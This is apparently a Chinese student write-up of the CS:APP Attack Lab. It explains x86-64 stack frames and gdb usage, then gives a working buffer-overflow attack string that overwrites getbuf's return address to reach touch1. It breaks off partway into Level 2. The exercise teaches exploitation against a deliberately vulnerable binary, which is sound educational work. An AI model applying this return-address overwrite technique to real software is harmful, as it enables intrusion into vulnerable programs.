Warm-up
X86-64寄存器和栈帧
X86-64有16个64位寄存器 :
-%rax 作为函数返回值使用。
- %rsp 栈指针寄存器,指向栈顶。
- %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数……
- %rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则。
- %r10,%r11 用作数据存储,遵循调用者使用规则。
程序可以用栈来管理它的过程所需要的存储空间,栈和程序寄存器存放着传递控制和数据、分配内存所需要的信息。
当过程需要的存储空间超出寄存器能够存放的大小时,就会在栈上分配空间,这个部分称为过程的栈帧。
将控制从函数P转移到函数Q只需要简单地把程序计数器设置为Q的代码的起始位置,当稍后从Q返回时,处理器必须记录好它需要继续P的执行的代码位置。
在x86-64机器中,call Q
指令会把返回地址即紧跟在call
指令后的那条指令的地址压入栈中,并将程序计数器设置为Q的起始地址;对应的ret
指令会从栈中弹出返回地址,并把程序计数器设置为该返回地址。
实验目的
本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。
通过完成本实验达到:
- 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
- 深入理解x86-64机器代码的栈和参数传递机制。
- 深入理解x86-64指令的编码方式。
- 熟练使用gdb和objdump等调试工具。
- 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。
文件说明
ctarget
:一个容易遭受code injection攻击的可执行程序。
rtarget
:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt
:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c
:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw
:一个生成攻击字符串的工具。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
函数Gets()
类似于标准库函数gets()
,从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。
字符串不能包含字节值0x0a
,这是换行符'\n'
的ASCII码,Gets()
遇到这个字节时会认为意在结束该字符串。
未超出缓冲区大小,正常返回1。
超出缓冲区大小通常会导致程序状态被破坏,引起内存访问错误。
实验辅助
hex2raw
的使用说明要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。
将攻击字符串存入文件中,如
attack.txt
,然后用下述方法调用:
1.cat attack.txt | ./hex2raw | ./ctarget
2../hex2raw <attack.txt> attackraw.txt
./ctarget < attackraw.txt
或./ctarget -i attackraw.txt
3.结合gdb使用
./hex2raw <attack.txt> attackraw.txt
gdb ctarget
(gdb) run < attackraw.txt
或(gdb) run -i attackraw.txt
生成字节代码操作
编写一个汇编文件:
vim attack.s
汇编和反汇编此文件:
gcc -c attack.s
objdump -d attack.o > attack.d
由此推出这段代码的字节序列。涉及的gdb命令
(gdb) r
run的简写,运行被调试的程序。若有断点,则程序暂停在第一个可用断点处。
(gdb) c
continue的简写,继续执行被调试程序,直至下一个断点或程序结束。
(gdb) print <指定变量>
显示指定变量的值。
(gdb) break *<代码地址>
设置断点。
(gdb) x/<n/f/u> <addr>
examine的简写,查看内存地址中的值。
* (gdb) x/< n/f/u > < addr > 的具体用法:
n、f、u是可选的参数。-n是一个正整数,表示需要显示的内存单元的个数。
- f 表示显示的格式。s表示地址所指的是字符串,i表示地址是指令地址。
- u表示从当前地址往后请求的字节数,如果不指定的话,默认是4字节。b表示单字节,h表示双字节,w表示四字节,g表示八字节。
- < addr >表示一个内存地址。
Part I
Code Injection Attacks
程序被设置成栈的位置每次执行都一样,因此栈上的数据就可以等效于可执行代码,使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。
-Level 1
函数test
调用了函数getbuf
,getbuf
执行返回语句时,程序会继续执行test
函数中的语句。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
而我们要改变这个行为,使 getbuf
返回的时候,执行 touch1
而不是返回 test
。
void touch1()
{
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
从touch1
看出我们不需要注入新的代码,只需要用攻击字符串指引程序执行一个已经存在的函数,也就是使getbuf
结尾处的ret
指令将控制转移到touch1
。
0000000000401825 <getbuf>:
401825: 48 83 ec 38 sub $0x38,%rsp
401829: 48 89 e7 mov %rsp,%rdi
40182c: e8 7f 02 00 00 callq 401ab0 <Gets>
401831: b8 01 00 00 00 mov $0x1,%eax
401836: 48 83 c4 38 add $0x38,%rsp
40183a: c3
从sub $0x38,%rsp
这条指令可以得到getbuf
创建的缓冲区大小为0x38
字节即56字节。
000000000040183b <touch1>:
40183b: 48 83 ec 08 sub $0x8,%rsp
40183f: c7 05 b3 2c 20 00 01 movl $0x1,0x202cb3(%rip) # 6044fc <vlevel>
401846: 00 00 00
401849: bf dd 30 40 00 mov $0x4030dd,%edi
40184e: e8 0d f4 ff ff callq 400c60 <puts@plt>
401853: bf 01 00 00 00 mov $0x1,%edi
401858: e8 a9 04 00 00 callq 401d06 <validate>
40185d: bf 00 00 00 00 mov $0x0,%edi
401862: e8 79 f5 ff ff callq 400de0 <exit@plt>
从这里可以看出,touch1
函数的起始地址为0x40183b
。
要使getbuf
结尾处的ret
指令将控制转移到touch1
,我们只需利用缓冲区溢出将返回地址修改为touch1
的起始地址。
我们的攻击字符串就诞生了,不如把它命名为attack1.txt
:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
3b 18 40 00 00 00 00 00
//用函数touch1的起始地址覆盖掉原先的返回地址(注意字节顺序)。
调用hex2raw
并执行ctarget
:
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -i attackraw1.txt
-Level 2
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
在 getbuf
函数返回的时候,执行 touch2
而不是返回 test
。不同的是,我们需要注入新的代码,并且必须让touch2
以为它接收到的参数是自己的 cookie
,即0x73fb1600
。
0000000000401867 <touch2>:
401867: 48 83 ec 08 sub $0x8,%rsp
40186b: 89 fa mov %edi,%edx
40186d: c7 05 85 2c 20 00 02 movl $0x2,0x202c85(%rip) # 6044fc <vlevel>
401874: 00 00 00
401877: